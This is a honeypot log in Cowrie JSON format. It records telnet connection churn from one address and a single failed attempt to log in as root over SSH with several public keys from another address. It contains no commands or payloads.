{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42614,"dst_ip":"159.203.135.109","dst_port":23,"session":"3404bf5fc3ba","protocol":"telnet","message":"New connection: 50.6.18.72:42614 (159.203.135.109:23) [session: 3404bf5fc3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:43.652367Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42626,"dst_ip":"159.203.135.109","dst_port":23,"session":"0665dcc15e33","protocol":"telnet","message":"New connection: 50.6.18.72:42626 (159.203.135.109:23) [session: 0665dcc15e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:43.887376Z"}
{"eventid":"cowrie.session.closed","duration":31.277973890304565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:43.906607Z","src_ip":"50.6.18.72","session":"f66595ba1c3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.378905773162842,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.220911Z","src_ip":"50.6.18.72","session":"e57f25ff1320","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.119.193.235","src_port":53904,"dst_ip":"10.17.0.5","dst_port":22,"session":"135f2886ff37","protocol":"ssh","message":"New connection: 134.119.193.235:53904 (10.17.0.5:22) [session: 135f2886ff37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.260749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.269967Z","src_ip":"134.119.193.235","session":"135f2886ff37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.362201Z","src_ip":"134.119.193.235","session":"135f2886ff37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.959734439849854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.466108Z","src_ip":"50.6.18.72","session":"9bb7014c6290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42632,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ee6096e9836","protocol":"telnet","message":"New connection: 50.6.18.72:42632 (159.203.135.109:23) [session: 3ee6096e9836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.560112Z"}
{"eventid":"cowrie.session.closed","duration":31.10847783088684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.567146Z","src_ip":"50.6.18.72","session":"f37bc203d8ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.111226320266724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.635950Z","src_ip":"50.6.18.72","session":"3de9d37c0fb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78139877319336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.647684Z","src_ip":"50.6.18.72","session":"bdec821e4154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.037057399749756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.676514Z","src_ip":"50.6.18.72","session":"9735d7fb673b","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:fb:69:c7:80:d4:99:af:e9:6c:24:37:8c:4c:53:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPdgtmHIVgYtHuc4lCGSlMUundchg9QPHosLUOu0R2c6VWQebUgtiXTBWbwDoHC87ErIRiDczPKFkMmvlDxEYVeiJWEQz0aEJpBMlDB1pQYhEldeRjge5xbw4zeueTNPkKxOsIbvRH4U++TwWJyiPbqELyE46nVkrKnXzvyfDd0Xj+sWtyrqew8NloPhtyhi9S28x1UAc2HuXoVATSo3+jt6ah6/Eka/JXEZMlHC6N09pw0FhnYBKUSWDUOo58wQRYz2+E7OhSdNVHjHPNm9/4Tr4zvk5Btp8c9XOyyUqs+r2kslN3eg1nxk/wfrYUQNT4CF/pB52Os229yOJ0fzY2CWw9q7mxKmHb4ompGamdlP0DtEzTd01w/lqKZ8DUYPpweTBQYP6BDRJxxHcGL6yjLo0hxwiRazV03JxFvVJi/zteh+MiaBWRqHx4tbH2HFs+96PJiobik2fSKLLXDRdakcSERht5NpbWY2vpImsBkzv5eeSl808jfDLCu9rOep8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:fb:69:c7:80:d4:99:af:e9:6c:24:37:8c:4c:53:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.795126Z","src_ip":"134.119.193.235","session":"135f2886ff37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:fb:69:c7:80:d4:99:af:e9:6c:24:37:8c:4c:53:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDPdgtmHIVgYtHuc4lCGSlMUundchg9QPHosLUOu0R2c6VWQebUgtiXTBWbwDoHC87ErIRiDczPKFkMmvlDxEYVeiJWEQz0aEJpBMlDB1pQYhEldeRjge5xbw4zeueTNPkKxOsIbvRH4U++TwWJyiPbqELyE46nVkrKnXzvyfDd0Xj+sWtyrqew8NloPhtyhi9S28x1UAc2HuXoVATSo3+jt6ah6/Eka/JXEZMlHC6N09pw0FhnYBKUSWDUOo58wQRYz2+E7OhSdNVHjHPNm9/4Tr4zvk5Btp8c9XOyyUqs+r2kslN3eg1nxk/wfrYUQNT4CF/pB52Os229yOJ0fzY2CWw9q7mxKmHb4ompGamdlP0DtEzTd01w/lqKZ8DUYPpweTBQYP6BDRJxxHcGL6yjLo0hxwiRazV03JxFvVJi/zteh+MiaBWRqHx4tbH2HFs+96PJiobik2fSKLLXDRdakcSERht5NpbWY2vpImsBkzv5eeSl808jfDLCu9rOep8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.799890Z","src_ip":"134.119.193.235","session":"135f2886ff37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:4e:fa:95:85:2e:af:ea:b2:c6:28:bd:51:49:1c:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAhf9NkortTIKZoegJhdbVFswxeyF8JXSV8UDu/GiRUoP5SYd21sGSqYRQsbr3iHvxXtTc6/KNhlRI94Ag10mQdloG8LuLmcxoXdbGQWyucPnO1egyVVz33kjSwade+xucxwMXewi8HKDkIXUWEVzN1WFzl/+v8Sn2ifgaaNMKq29sBiaHgw6W0eMIjSQMSjxbCulGAKukXhwQ5lP7nUzE0GnM8uuWQOt/KTjCgeOrsQzyG+gdyGAYxKbt8tuxM+hFS5+Z+1dx6Zsp9AQJ3N08C3FxJSdnZx9pZUvpWlKtqydaFy4/FAYdLhcm7CtPMnBCnvtdeOk/KPlxhUK9jlLq0Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:4e:fa:95:85:2e:af:ea:b2:c6:28:bd:51:49:1c:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.898880Z","src_ip":"134.119.193.235","session":"135f2886ff37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:4e:fa:95:85:2e:af:ea:b2:c6:28:bd:51:49:1c:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAhf9NkortTIKZoegJhdbVFswxeyF8JXSV8UDu/GiRUoP5SYd21sGSqYRQsbr3iHvxXtTc6/KNhlRI94Ag10mQdloG8LuLmcxoXdbGQWyucPnO1egyVVz33kjSwade+xucxwMXewi8HKDkIXUWEVzN1WFzl/+v8Sn2ifgaaNMKq29sBiaHgw6W0eMIjSQMSjxbCulGAKukXhwQ5lP7nUzE0GnM8uuWQOt/KTjCgeOrsQzyG+gdyGAYxKbt8tuxM+hFS5+Z+1dx6Zsp9AQJ3N08C3FxJSdnZx9pZUvpWlKtqydaFy4/FAYdLhcm7CtPMnBCnvtdeOk/KPlxhUK9jlLq0Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.902901Z","src_ip":"134.119.193.235","session":"135f2886ff37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42652,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bbedaa878e1","protocol":"telnet","message":"New connection: 50.6.18.72:42652 (159.203.135.109:23) [session: 9bbedaa878e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.918582Z"}
{"eventid":"cowrie.session.closed","duration":30.69479990005493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.936575Z","src_ip":"50.6.18.72","session":"b50e8367b159","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42658,"dst_ip":"159.203.135.109","dst_port":23,"session":"a538752482d2","protocol":"telnet","message":"New connection: 50.6.18.72:42658 (159.203.135.109:23) [session: a538752482d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.970686Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:65:ca:47:94:a1:02:ea:16:1d:ca:ae:9d:cd:e7:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjEpfVin17H8L4CWMkxAz7X0CLxNrz3YSTMxZvMvtjGfOwvLc09aUYDzxC6fpQUpiUlJzdhHgM42frIm7xt9d/EgVfgGe6STuBJaqn4OqbbVTvNt2LlS1yQMGuCWMSIcBvPRcXCog+4DipF3PNYIwghoEdxO9MBWzF/h1luIqDKFf8K6F0Fp3GjrLXVaexqxqY0dGW6yYePljCh3h3S4MNYOYUrFLTxL46QgtVuUqjlnrp9WVNkVE2Xk+FEpC7PprxjMrGxADvX89p9erDzYSTQLcFDydcolEvl4X/d+7w8HCWQHmrYXCshYweHGi3dEi6+N3bHfS9P/WZX4og0vQF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:65:ca:47:94:a1:02:ea:16:1d:ca:ae:9d:cd:e7:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.995455Z","src_ip":"134.119.193.235","session":"135f2886ff37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:65:ca:47:94:a1:02:ea:16:1d:ca:ae:9d:cd:e7:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjEpfVin17H8L4CWMkxAz7X0CLxNrz3YSTMxZvMvtjGfOwvLc09aUYDzxC6fpQUpiUlJzdhHgM42frIm7xt9d/EgVfgGe6STuBJaqn4OqbbVTvNt2LlS1yQMGuCWMSIcBvPRcXCog+4DipF3PNYIwghoEdxO9MBWzF/h1luIqDKFf8K6F0Fp3GjrLXVaexqxqY0dGW6yYePljCh3h3S4MNYOYUrFLTxL46QgtVuUqjlnrp9WVNkVE2Xk+FEpC7PprxjMrGxADvX89p9erDzYSTQLcFDydcolEvl4X/d+7w8HCWQHmrYXCshYweHGi3dEi6+N3bHfS9P/WZX4og0vQF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:44.999827Z","src_ip":"134.119.193.235","session":"135f2886ff37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:1e:c0:43:5b:ed:2e:aa:f5:bf:9e:9a:93:76:fa:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1rscSAZVCoQ+WzH/aJmWGotF3u+wyeI3WjKSxzJq1y3YhVToF7g6SStJepRcch49YmQ9gkuJKoDFymZRs2RN6NWpgbN/x1WCerGII6jtUpAeX0Xv+TzdDc/zjdYVrQILao+25F1XHGs/FPOINpywt//wWdEtMahbm/28g+OFMGDFdvinDCEkpWASXSJws5AP7RZ3z2jo+qDoKUXKB9wwXp0pHEQmVzSoVf6qhN5Ctxdhcbc1S9ywwzjYYXw+AkXbYk+404A1DgSUWedKKPuUujxPCq/94qJY/IH9GskJQKEDDfuBzQ3SmkdLzM4CK8kY33+Y1u9fEO/KOWaxJyWb9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:1e:c0:43:5b:ed:2e:aa:f5:bf:9e:9a:93:76:fa:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:45.095534Z","src_ip":"134.119.193.235","session":"135f2886ff37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:1e:c0:43:5b:ed:2e:aa:f5:bf:9e:9a:93:76:fa:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1rscSAZVCoQ+WzH/aJmWGotF3u+wyeI3WjKSxzJq1y3YhVToF7g6SStJepRcch49YmQ9gkuJKoDFymZRs2RN6NWpgbN/x1WCerGII6jtUpAeX0Xv+TzdDc/zjdYVrQILao+25F1XHGs/FPOINpywt//wWdEtMahbm/28g+OFMGDFdvinDCEkpWASXSJws5AP7RZ3z2jo+qDoKUXKB9wwXp0pHEQmVzSoVf6qhN5Ctxdhcbc1S9ywwzjYYXw+AkXbYk+404A1DgSUWedKKPuUujxPCq/94qJY/IH9GskJQKEDDfuBzQ3SmkdLzM4CK8kY33+Y1u9fEO/KOWaxJyWb9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:45.101224Z","src_ip":"134.119.193.235","session":"135f2886ff37","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:45:79:a5:28:2f:77:96:8c:42:fa:65:68:f9:a3:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCY8ag1ujWhZyedhjqmSZXFZ+uexl1KvjZksNXgTXOqpuKgD2r5FP3+ILV7qsUjdtKxght3PbmZ6YZ19puX9qCoBLM1Zb5jktDaR9aSu+BbUvufb3pRdzZy+m/m7RIqv7LDRMSS/psRXqJWGlfSt5EGcLt4K4/DK/CpYxXlkje7j2b5M9CvS8v+M0bKh2QgVfiPw59LTz/k0o2pQc9E9dGO2Ws1Hkxv7wCMN8fsRT0J7TPe/84OyTCdtqAN5wN1iSdM4cjQtR72ClRQdL3CyDocmHiQ2JQMjm1Em3GH8VVYzXMzeqzYhzr8Ykgt7u/EXq90dSS8c92S4Zp1/+zQxNkV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:45:79:a5:28:2f:77:96:8c:42:fa:65:68:f9:a3:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:45.194438Z","src_ip":"134.119.193.235","session":"135f2886ff37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:45:79:a5:28:2f:77:96:8c:42:fa:65:68:f9:a3:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCY8ag1ujWhZyedhjqmSZXFZ+uexl1KvjZksNXgTXOqpuKgD2r5FP3+ILV7qsUjdtKxght3PbmZ6YZ19puX9qCoBLM1Zb5jktDaR9aSu+BbUvufb3pRdzZy+m/m7RIqv7LDRMSS/psRXqJWGlfSt5EGcLt4K4/DK/CpYxXlkje7j2b5M9CvS8v+M0bKh2QgVfiPw59LTz/k0o2pQc9E9dGO2Ws1Hkxv7wCMN8fsRT0J7TPe/84OyTCdtqAN5wN1iSdM4cjQtR72ClRQdL3CyDocmHiQ2JQMjm1Em3GH8VVYzXMzeqzYhzr8Ykgt7u/EXq90dSS8c92S4Zp1/+zQxNkV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:45.199511Z","src_ip":"134.119.193.235","session":"135f2886ff37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.70442271232605,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:45.233153Z","src_ip":"147.182.143.59","session":"db38564c626b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:45.304863Z","src_ip":"134.119.193.235","session":"135f2886ff37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.11592960357666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:45.489191Z","src_ip":"50.6.18.72","session":"fafbb2b43d1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42604,"dst_ip":"159.203.135.109","dst_port":23,"session":"eceb78367e6c","protocol":"telnet","message":"New connection: 50.6.18.72:42604 (159.203.135.109:23) [session: eceb78367e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:45.578304Z"}
{"eventid":"cowrie.session.closed","duration":31.315203189849854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:45.683566Z","src_ip":"50.6.18.72","session":"de0c95dfc1e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42646,"dst_ip":"159.203.135.109","dst_port":23,"session":"a75ce3ab0d2c","protocol":"telnet","message":"New connection: 50.6.18.72:42646 (159.203.135.109:23) [session: a75ce3ab0d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:45.763438Z"}
{"eventid":"cowrie.session.closed","duration":30.64710521697998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:45.769852Z","src_ip":"50.6.18.72","session":"0be0888811ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":42650,"dst_ip":"159.203.135.109","dst_port":23,"session":"32047b0c5ae0","protocol":"telnet","message":"New connection: 50.6.18.72:42650 (159.203.135.109:23) [session: 32047b0c5ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:45.826596Z"}
{"eventid":"cowrie.session.closed","duration":31.11936116218567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:45.902307Z","src_ip":"50.6.18.72","session":"c647ece4de6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60224,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8062f47e868","protocol":"telnet","message":"New connection: 50.6.18.72:60224 (159.203.135.109:23) [session: c8062f47e868]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:46.181765Z"}
{"eventid":"cowrie.session.closed","duration":31.111831188201904,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:46.300193Z","src_ip":"50.6.18.72","session":"8178fa353654","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60230,"dst_ip":"159.203.135.109","dst_port":23,"session":"f179b8813a36","protocol":"telnet","message":"New connection: 50.6.18.72:60230 (159.203.135.109:23) [session: f179b8813a36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:46.381862Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60234,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbc6562d1647","protocol":"telnet","message":"New connection: 50.6.18.72:60234 (159.203.135.109:23) [session: dbc6562d1647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:46.399168Z"}
{"eventid":"cowrie.session.closed","duration":31.2353253364563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:46.431265Z","src_ip":"50.6.18.72","session":"dae98b0671fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60238,"dst_ip":"159.203.135.109","dst_port":23,"session":"68aeddcce940","protocol":"telnet","message":"New connection: 50.6.18.72:60238 (159.203.135.109:23) [session: 68aeddcce940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:46.497284Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60252,"dst_ip":"159.203.135.109","dst_port":23,"session":"c170d154b4e5","protocol":"telnet","message":"New connection: 50.6.18.72:60252 (159.203.135.109:23) [session: c170d154b4e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:46.505623Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60274,"dst_ip":"159.203.135.109","dst_port":23,"session":"bee2f7f361a1","protocol":"telnet","message":"New connection: 50.6.18.72:60274 (159.203.135.109:23) [session: bee2f7f361a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:46.638282Z"}
{"eventid":"cowrie.session.closed","duration":31.119460344314575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:46.754052Z","src_ip":"50.6.18.72","session":"40a04afb2027","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803024530410767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:46.859114Z","src_ip":"50.6.18.72","session":"6e53ac727516","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93928050994873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:47.269799Z","src_ip":"50.6.18.72","session":"3faf63b0f335","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60288,"dst_ip":"159.203.135.109","dst_port":23,"session":"472cf44c2026","protocol":"telnet","message":"New connection: 50.6.18.72:60288 (159.203.135.109:23) [session: 472cf44c2026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:47.450401Z"}
{"eventid":"cowrie.session.closed","duration":30.639477491378784,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:47.631917Z","src_ip":"50.6.18.72","session":"848c6eba3d73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60302,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ba1c509171b","protocol":"telnet","message":"New connection: 50.6.18.72:60302 (159.203.135.109:23) [session: 9ba1c509171b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:47.773463Z"}
{"eventid":"cowrie.session.closed","duration":31.155592441558838,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:48.250432Z","src_ip":"50.6.18.72","session":"3344538de6ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.321568250656128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:28:48.532742Z","src_ip":"50.6.18.72","session":"436d59d5dc46","protocol":"telnet"}
